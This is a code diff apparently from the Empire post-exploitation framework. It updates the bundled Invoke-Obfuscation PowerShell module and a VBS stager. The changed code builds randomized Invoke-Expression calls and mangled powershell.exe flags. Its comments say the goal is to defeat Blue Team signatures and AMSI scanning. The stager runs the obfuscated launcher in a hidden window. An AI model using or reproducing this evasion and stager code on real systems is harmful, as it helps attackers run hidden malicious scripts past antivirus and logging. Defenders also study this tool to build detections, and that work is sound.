$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.Normalize)" , "''.Normalize.ToString()")) + '[' + (Get-Random -Input @(3,13,23,33,55,59,77)) + ',' + (Get-Random -Input @(15,35,41,45)) + ",46]-Join''" + ")"
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.Chars)" , "''.Chars.ToString()")) + '[' + (Get-Random -Input @(11,15)) + ',' + (Get-Random -Input @(18,24)) + ",19]-Join''" + ")"
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.SubString)" , "''.SubString.ToString()")) + '[' + (Get-Random -Input @(3,13,17,26,37,47,51,60,67)) + ',' + (Get-Random -Input @(29,63,72)) + ',' + (Get-Random -Input @(30,64)) + "]-Join''" + ")"
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.Remove)" , "''.Remove.ToString()")) + '[' + (Get-Random -Input @(3,14,23,30,45,56,65)) + ',' + (Get-Random -Input @(8,12,26,50,54,68)) + ',' + (Get-Random -Input @(27,69)) + "]-Join''" + ")"
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.LastIndexOfAny)" , "''.LastIndexOfAny.ToString()")) + '[' + (Get-Random -Input @(0,8,34,42,67,76,84,92,117,126,133)) + ',' + (Get-Random -Input @(11,45,79,95,129)) + ',' + (Get-Random -Input @(12,46,80,96,130)) + "]-Join''" + ")"
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.LastIndexOf)" , "''.LastIndexOf.ToString()")) + '[' + (Get-Random -Input @(0,8,29,37,57,66,74,82,102,111,118,130,138,149,161,169,180,191,200,208,216,227,238,247,254,266,274,285,306,315,326,337,345,356,367,376,393,402,413,424,432,443,454,463,470,491,500,511)) + ',' + (Get-Random -Input @(11,25,40,54,69,85,99,114,141,157,172,188,203,219,235,250,277,293,300,333,348,364,379,387,420,435,451,466,485,518)) + ',' + (Get-Random -Input @(12,41,70,86,115,142,173,204,220,251,278,349,380,436,467)) + "]-Join''" + ")"
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.IsNormalized)" , "''.IsNormalized.ToString()")) + '[' + (Get-Random -Input @(5,13,26,34,57,61,75,79)) + ',' + (Get-Random -Input @(15,36,43,47)) + ",48]-Join''" + ")"
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.IndexOfAny)" , "''.IndexOfAny.ToString()")) + '[' + (Get-Random -Input @(0,4,30,34,59,68,76,80,105,114,121)) + ',' + (Get-Random -Input @(7,37,71,83,117)) + ',' + (Get-Random -Input @(8,38,72,84,118)) + "]-Join''" + ")"
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.IndexOf)" , "''.IndexOf.ToString()")) + '[' + (Get-Random -Input @(0,4,25,29,49,58,66,70,90,99,106,118,122,133,145,149,160,171,180,188,192,203,214,223,230,242,246,257,278,287,298,309,313,324,335,344,361,370,381,392,396,407,418,427,434,455,464,475)) + ',' + (Get-Random -Input @(7,21,32,46,61,73,87,102,125,141,152,168,183,195,211,226,249,265,272,305,316,332,347,355,388,399,415,430,449,482)) + ',' + (Get-Random -Input @(8,33,62,74,103,126,153,184,196,227,250,317,348,400,431)) + "]-Join''" + ")"
# Randomly choose from above invoke operation syntaxes.
$InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax)
# Randomize the case of selected invoke operation.
$InvokeExpression = ([Char[]]$InvokeExpression | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
# Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
$InvokeOptions = @()
$InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1))
$InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $InvokeExpression
# Randomly choose from above invoke operation syntaxes.
$NewScript = (Get-Random -Input $InvokeOptions)
# Reassemble all components of the final command.
$NewScript = $ScriptStringPart1 + $NewScript + '}'
# If user did not include -PassThru flag then continue with adding execution flgs and powershell.exe to $NewScript.
If(!$PSBoundParameters['PassThru'])
{
# Array to store all selected PowerShell execution flags.
$PowerShellFlags = @()
# Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
# This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags.
$CommandlineOptions = New-Object String[](0)
If($PSBoundParameters['NoExit'])
{
$FullArgument = "-NoExit";
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1)))
}
If($PSBoundParameters['NoProfile'])
{
$FullArgument = "-NoProfile";
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1)))
}
If($PSBoundParameters['NonInteractive'])
{
$FullArgument = "-NonInteractive";
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 5 -Maximum ($FullArgument.Length+1)))
}
If($PSBoundParameters['NoLogo'])
{
$FullArgument = "-NoLogo";
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1)))
}
If($PSBoundParameters['WindowStyle'] -OR $WindowsStyle)
{
$FullArgument = "-WindowStyle"
If($WindowsStyle) {$ArgumentValue = $WindowsStyle}
Else {$ArgumentValue = $PSBoundParameters['WindowStyle']}
# Randomly decide to write WindowStyle value with flag substring or integer value.
Switch($ArgumentValue.ToLower())
{
'normal' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('0','n','no','nor','norm','norma'))}}
'hidden' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('1','h','hi','hid','hidd','hidde'))}}
'minimized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('2','mi','min','mini','minim','minimi','minimiz','minimize'))}}
'maximized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('3','ma','max','maxi','maxim','maximi','maximiz','maximize'))}}
default {Write-Error "An invalid `$ArgumentValue value ($ArgumentValue) was passed to switch block for Out-PowerShellLauncher."; Exit;}
}
$PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue
}
If($PSBoundParameters['ExecutionPolicy'] -OR $ExecutionPolicy)
{
$FullArgument = "-ExecutionPolicy"
If($ExecutionPolicy) {$ArgumentValue = $ExecutionPolicy}
Else {$ArgumentValue = $PSBoundParameters['ExecutionPolicy']}
# Take into account the shorted flag of -EP as well.
$ExecutionPolicyFlags = @()
$ExecutionPolicyFlags += '-EP'
For($Index=3; $Index -le $FullArgument.Length; $Index++)
{
$ExecutionPolicyFlags += $FullArgument.SubString(0,$Index)
}
$ExecutionPolicyFlag = Get-Random -Input $ExecutionPolicyFlags
$PowerShellFlags += $ExecutionPolicyFlag + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue
}
# Randomize the order of the execution flags.
# This is to prevent the Blue Team from placing false hope in simple signatures for ordering of these flags.
If($CommandlineOptions.Count -gt 1)
{
$CommandlineOptions = Get-Random -InputObject $CommandlineOptions -Count $CommandlineOptions.Count
}
# If selected then the -Command flag needs to be added last.
If($PSBoundParameters['Command'])
{
$FullArgument = "-Command"
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1)))
}
# Randomize the case of all command-line arguments.
For($i=0; $i -lt $PowerShellFlags.Count; $i++)
{
$PowerShellFlags[$i] = ([Char[]]$PowerShellFlags[$i] | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
}
# Random-sized whitespace between all execution flags and encapsulating final string of execution flags.
$CommandlineOptions = ($CommandlineOptions | ForEach-Object {$_ + " "*(Get-Random -Minimum 1 -Maximum 3)}) -Join ''
$CommandlineOptions = " "*(Get-Random -Minimum 0 -Maximum 3) + $CommandlineOptions + " "*(Get-Random -Minimum 0 -Maximum 3)
# Build up the full command-line string.
If($PSBoundParameters['Wow64'])
{
$CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
}
Else
{
# Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon).
#$CommandLineOutput = "$($Env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
$CommandLineOutput = "powershell $($CommandlineOptions) `"$NewScript`""
}
# Make sure final command doesn't exceed cmd.exe's character limit.
$CmdMaxLength = 8190
If($CommandLineOutput.Length -gt $CmdMaxLength)
{
Write-Warning "This command exceeds the cmd.exe maximum allowed length of $CmdMaxLength characters! Its length is $($CmdLineOutput.Length) characters."
}
$NewScript = $CommandLineOutput
}
Return $NewScript
}

View File

@ -900,4 +900,4 @@ http://www.danielbohannon.com
$ScriptString = (Get-Random -Input $InvokeOptions)
Return $ScriptString
}
}

View File

@ -241,6 +241,7 @@ http://www.danielbohannon.com
$ParameterValidationAttributesToTreatStringAsScriptblock += 'helpmessage'
$ParameterValidationAttributesToTreatStringAsScriptblock += 'outputtype'
$ParameterValidationAttributesToTreatStringAsScriptblock += 'diagnostics.codeanalysis.suppressmessageattribute'
Switch($ObfuscationLevel)
{
@ -513,9 +514,9 @@ http://www.danielbohannon.com
# Gather substring preceding the current String token to see if we need to treat the obfuscated string as a scriptblock.
$ParameterBindingName = $ScriptString.SubString(0,$Token.Start)
$ParameterBindingName = $ParameterBindingName.SubString(0,$ParameterBindingName.LastIndexOf('('))
$ParameterBindingName = $ParameterBindingName.SubString($ParameterBindingName.LastIndexOf('[')+1).Trim()
$ParameterBindingName = $ParameterBindingName.SubString($ParameterBindingName.LastIndexOf('[')+1).Trim()
# Filter out values that are not Parameter Binding due to contain whitespace, some special characters, etc.
If(!$ParameterBindingName.Contains(' ') -AND !$ParameterBindingName.Contains('.') -AND !$ParameterBindingName.Contains(']') -AND !($ParameterBindingName.Length -eq 0))
If(!$ParameterBindingName.Contains(' ') -AND !$ParameterBindingName.Contains(']') -AND !($ParameterBindingName.Length -eq 0))
{
# If we have a match then set boolean to True so result will be encapsulated with curly braces at the end of this function.
If($ParameterValidationAttributesToTreatStringAsScriptblock -Contains $ParameterBindingName.ToLower())
@ -671,7 +672,7 @@ http://www.danielbohannon.com
$EncapsulateAsScriptBlockInsteadOfParentheses = $TRUE
}
If(($SubString.Contains('parametersetname') -OR $SubString.Contains('confirmimpact')) -AND !$SubString.Contains('defaultparametersetname') -AND $SubString.Contains('='))
If($SubString.Contains('parametersetname') -OR $SubString.Contains('confirmimpact') -AND !$SubString.Contains('defaultparametersetname') -AND $SubString.Contains('='))
{
# For strings in ParameterSetName parameter binding (but not DefaultParameterSetName) then we will only obfuscate with tick marks.
# Otherwise we may get errors depending on the version of PowerShell being run.
@ -690,6 +691,7 @@ http://www.danielbohannon.com
default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for String Token Obfuscation."; Exit}
}
}
# Evenly trim leading/trailing parentheses.
While($ObfuscatedToken.StartsWith('(') -AND $ObfuscatedToken.EndsWith(')'))
{
@ -860,9 +862,7 @@ http://www.danielbohannon.com
[Int]
$ObfuscationLevel
)
if($Token.Type -ne 'Command') {
$ScriptString
}
# Set $Token.Content in a separate variable so it can be modified since Content is a ReadOnly property of $Token.
$TokenContent = $Token.Content
@ -1341,7 +1341,6 @@ http://www.danielbohannon.com
# Function name declarations are CommandArgument tokens that cannot be obfuscated with concatenations.
# For these we will obfuscated them with ticks because this changes the string from AMSI's perspective but not the final functionality.
# If($ScriptString.SubString(0,$Token.Start-1).Trim().ToLower().EndsWith('function'))
If($ScriptString.SubString(0,$Token.Start-1).Trim().ToLower().EndsWith('function') -or $ScriptString.SubString(0,$Token.Start-1).Trim().ToLower().EndsWith('filter'))
{
$ScriptString = Out-ObfuscatedWithTicks $ScriptString $Token
@ -2099,4 +2098,4 @@ http://www.danielbohannon.com
$ScriptString = $ScriptString.SubString(0,$Token.Start) + $ScriptString.SubString($Token.Start+$Token.Length)
Return $ScriptString
}
}

View File

@ -350,7 +350,7 @@ http://www.danielbohannon.com
Else
{
# Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon).
#$PathToPowerShell = "$WinPath\System32\WindowsPowerShell\v1.0\powershell.exe"
#$PathToPowerShell = "$($Env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe"
$PathToPowerShell = "powershell"
}

View File

@ -348,7 +348,7 @@ http://www.danielbohannon.com
Else
{
# Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon).
#$CommandLineOutput = "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
#$CommandLineOutput = "$($Env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
$CommandLineOutput = "powershell $($CommandlineOptions) `"$NewScript`""
}

View File

@ -1,4 +1,4 @@
Invoke-Obfuscation v1.7
Invoke-Obfuscation v1.8
===============
![Invoke-Obfuscation Screenshot](https://github.com/danielbohannon/danielbohannon.github.io/blob/master/Invoke-Obfuscation%20Screenshot.png)
@ -70,20 +70,20 @@ Invoke-Obfuscation is released under the Apache 2.0 license.
Release Notes
-------------
v1.0 - 2016-09-25 DerbyCon 6.0, Louisville: PUBLIC Release of Invoke-Obfuscation.
v1.0 - 2016-09-25 DerbyCon 6.0 (Louisville, Kentucky USA): PUBLIC Release of Invoke-Obfuscation.
v1.1 - 2016-10-09 SANS DFIR Summit, Prague: Added -f format operator re-ordering
v1.1 - 2016-10-09 SANS DFIR Summit (Prague, Czech Republic): Added -f format operator re-ordering
functionality to all applicable TOKEN obfuscation functions. Also added additional
syntax options for setting variable values.
v1.2 - 2016-10-20 CODE BLUE, Tokyo: Added Type TOKEN obfuscation (direct type
v1.2 - 2016-10-20 CODE BLUE (Tokyo, Japan): Added Type TOKEN obfuscation (direct type
casting with string obfuscation options for type name).
v1.3 - 2016-10-22 Hacktivity, Budapest: Added two new LAUNCHERs: CLIP+ and CLIP++.
v1.3 - 2016-10-22 Hacktivity (Budapest, Hungary): Added two new LAUNCHERs: CLIP+ and CLIP++.
Also added additional (and simpler) array char conversion syntax for all ENCODING
functions that does not require For-EachObject/%.
v1.4 - 2016-10-28 BruCON, Ghent: Added new BXOR ENCODING function. Also enhanced
v1.4 - 2016-10-28 BruCON (Ghent, Belgium): Added new BXOR ENCODING function. Also enhanced
randomized case for all components of all ENCODING functions as well as for
PowerShell execution flags for all LAUNCHERs. Finally, added -EP shorthand option
for -ExecutionPolicy to all LAUNCHERs as well as the optional integer representation
@ -144,3 +144,6 @@ happen as this causes errors).
v1.7 - 2017-03-03 nullcon (Goa, India):
- Added 3 new LAUNCHERs: RUNDLL, RUNDLL++ and MSHTA++
- Added additional ExecutionContext wildcard variable strings
v1.8 - 2017-07-27 Black Hat (Las Vegas, Nevada USA):
- Added 2 new ENCODING options: Special Characters and Whitespace

View File

@ -48,7 +48,7 @@ class Stager:
'ObfuscateCommand' : {
'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
'Required' : False,
'Value' : r'Token\All\1,Launcher\STDIN++\12467'
'Value' : r'Token\All\1,Launcher\PS\12467'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
@ -93,6 +93,9 @@ class Stager:
obfuscateScript = False
if obfuscate.lower() == "true":
obfuscateScript = True
if "launcher" in obfuscateCommand.lower() and "ps" not in obfuscateCommand.lower():
print helpers.color("[!] Only 'PS' Invoke-Obfuscation Launcher is currently support for launcher_vbs")
return ""
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
@ -103,7 +106,7 @@ class Stager:
else:
code = "Dim objShell\n"
code += "Set objShell = WScript.CreateObject(\"WScript.Shell\")\n"
code += "command = \""+launcher.replace("'", "\\'")+"\"\n"
code += "command = \""+launcher.replace("\"", "\"+Chr(34)+\"")+"\"\n"
code += "objShell.Run command,0\n"
code += "Set objShell = Nothing\n"

View File

@ -53,28 +53,14 @@ elif lsb_release -d | grep -q "Kali"; then
pip install pyinstaller
pip install zlib_wrapper
pip install netifaces
if ! which powershell > /dev/null; then
if uname -a | grep -q amd64; then
wget http://archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu52_52.1-3_amd64.deb
wget http://ftp.debian.org/debian/pool/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
dpkg -i libicu52_52.1-3_amd64.deb
dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
rm libicu52_52.1-3_amd64.deb
rm libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
elif uname -a | grep -q i386; then
wget http://archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu52_52.1-3_i386.deb
wget http://ftp.debian.org/debian/pool/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_i386.deb
dpkg -i libicu52_52.1-3_i386.deb
dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_i386.deb
rm libicu52_52.1-3_i386.deb
rm libssl1.0.0_1.0.1t-1+deb8u6_i386.deb
fi
if [ ! which powershell > /dev/null ] && [ ! which pwsh > /dev/null ]; then
curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
curl https://packages.microsoft.com/config/ubuntu/14.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list
apt-get update
apt-get install -y powershell
fi
apt-get install -y powershell
if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then
rm /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY
fi
mkdir -p /usr/local/share/powershell/Modules
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
@ -94,7 +80,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then
pip install pyinstaller
pip install zlib_wrapper
pip install netifaces
if ! which powershell > /dev/null; then
if [ ! which powershell > /dev/null ] && [ ! which pwsh > /dev/null ]; then
curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
if lsb_release -r | grep -q "14.04"; then
curl https://packages.microsoft.com/config/ubuntu/14.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list
@ -102,7 +88,9 @@ elif lsb_release -d | grep -q "Ubuntu"; then
curl https://packages.microsoft.com/config/ubuntu/16.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list
fi
apt-get update
apt-get install -y powershell
fi
apt-get install -y powershell
if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then
rm /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY
fi
mkdir -p /usr/local/share/powershell/Modules
@ -124,31 +112,15 @@ else
pip install zlib_wrapper
pip install netifaces
pip install M2Crypto
if ! which powershell > /dev/null; then
if lsb_release -d | grep -q Debian | grep 9; then
if uname -a | grep -q amd64; then
wget http://archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu52_52.1-3_amd64.deb
wget http://ftp.debian.org/debian/pool/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
dpkg -i libicu52_52.1-3_amd64.deb
dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
rm libicu52_52.1-3_amd64.deb
rm libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb
elif uname -a | grep -q i386; then
wget http://archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu52_52.1-3_i386.deb
wget http://ftp.debian.org/debian/pool/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_i386.deb
dpkg -i libicu52_52.1-3_i386.deb
dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_i386.deb
rm libicu52_52.1-3_i386.deb
rm libssl1.0.0_1.0.1t-1+deb8u6_i386.deb
fi
fi
curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
curl https://packages.microsoft.com/config/ubuntu/14.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list
apt-get update
apt-get install -y powershell
rm /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY
if [ ! which powershell > /dev/null ] && [ ! which pwsh > /dev/null ]; then
curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
curl https://packages.microsoft.com/config/ubuntu/14.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list
apt-get update
fi
apt-get install -y powershell
if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then
rm /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY
fi
mkdir -p /usr/local/share/powershell/Modules
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
fi